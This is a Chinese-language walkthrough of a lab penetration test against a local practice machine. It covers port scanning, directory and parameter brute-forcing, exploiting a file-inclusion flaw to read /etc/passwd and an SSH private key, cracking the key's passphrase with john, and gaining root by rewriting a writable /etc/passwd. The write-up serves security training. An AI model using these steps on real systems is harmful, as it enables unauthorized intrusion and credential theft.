环境搭建
1 | 渗透机:192.168.50.216 |
端口探针
1 | nmap -p- 192.168.50.51 |

服务探针
1 | nmap -p22,80 -sV 192.168.50.51 |

1 | ssh与http ssh爆破 没有爆破出来 |

1 | 发现没有什么可利用 需要进行其他的信息收集 |
目录爆破(gobuster)
使用了新的一个工具gobuster
主要是利用了kali自带的一个字典(接下来会说这个字典的强大)
1 | gobuster dir -u http://192.168.50.51 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp |

1 | 依次跳转 |
1 | gobuster dir -u http://192.168.50.51/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp |

1 | 在/secret/ 发现了evil.php |
/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
(kali自带) 我曾使用dirb,dirsearch默认字典没有跑出evil.php
1 | 在evil.php 返回还是空白页面 |

参数爆破
可以bp联合爆破
亦可以使用ffuf
1 | 字典选择: |
1 | ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://192.168.50.51/secret/evil.php?PARAM=VAL -fs 0 |

文件包含
-fs 0 //屏蔽结果为0的结果
之所以选择../index.html 是因为我们已知原本首页是apache起始页面
且当前运行的位置在/secret/目录
1 | 发现 上面未果 尝试文件包含 |

1 | 发现爆破出参数为command |
本地文件包含

远程文件包含
1 | 在渗透机上写webshell |

并没有执行webshell,想来靶机没有开启远程包含(就当一个思路点记录下来了)
PHP封装器
1 | 使用PHP伪协议 |

1 | 可以尝试本地写入webshell |

都失败了,想来没有写入的权限
SSH公钥登录

1 | 根据/etc/passwd文件 我们可知mowree我们是可以登陆的 |
1 | ssh mowree@192.168.50.51 -v |

1 | 发现登陆mowree 有两种方式 |
1 | 我们可以根据文件包含去尝试获取公私钥 |

有此文件 说明存在ssh公钥登陆 且说明加密算法为rsa

1 | 得到私钥 |
小插曲


1 | 同样是复制id_rsa然后尝试登陆 使用root与普通用户爆出来的错误不一样 |
一开始想着以为是root用户和普通用户导致的问题
报错是ssh“权限太开放” 想来还是chmod 777 给的权限太高了

Enter passphrase for key ‘id_rsa’
发现私钥中仍然有 passphrase
1 | 可以尝试hashcat,john爆破 |
john爆破passphrase
1 | ssh2john id_rsa > hash |


1 | 成功登陆进mowree 且获取到第一个flag |
提权
1 | find / -perm -4000 2>/dev/null |

1 | 发现没有可利用点 |
1 | find / writeable 2>/dev/null |

1 | 发现/etc/passwd 可写 |

1 | 密文可以使用 openssl 生成 |

1 | su root |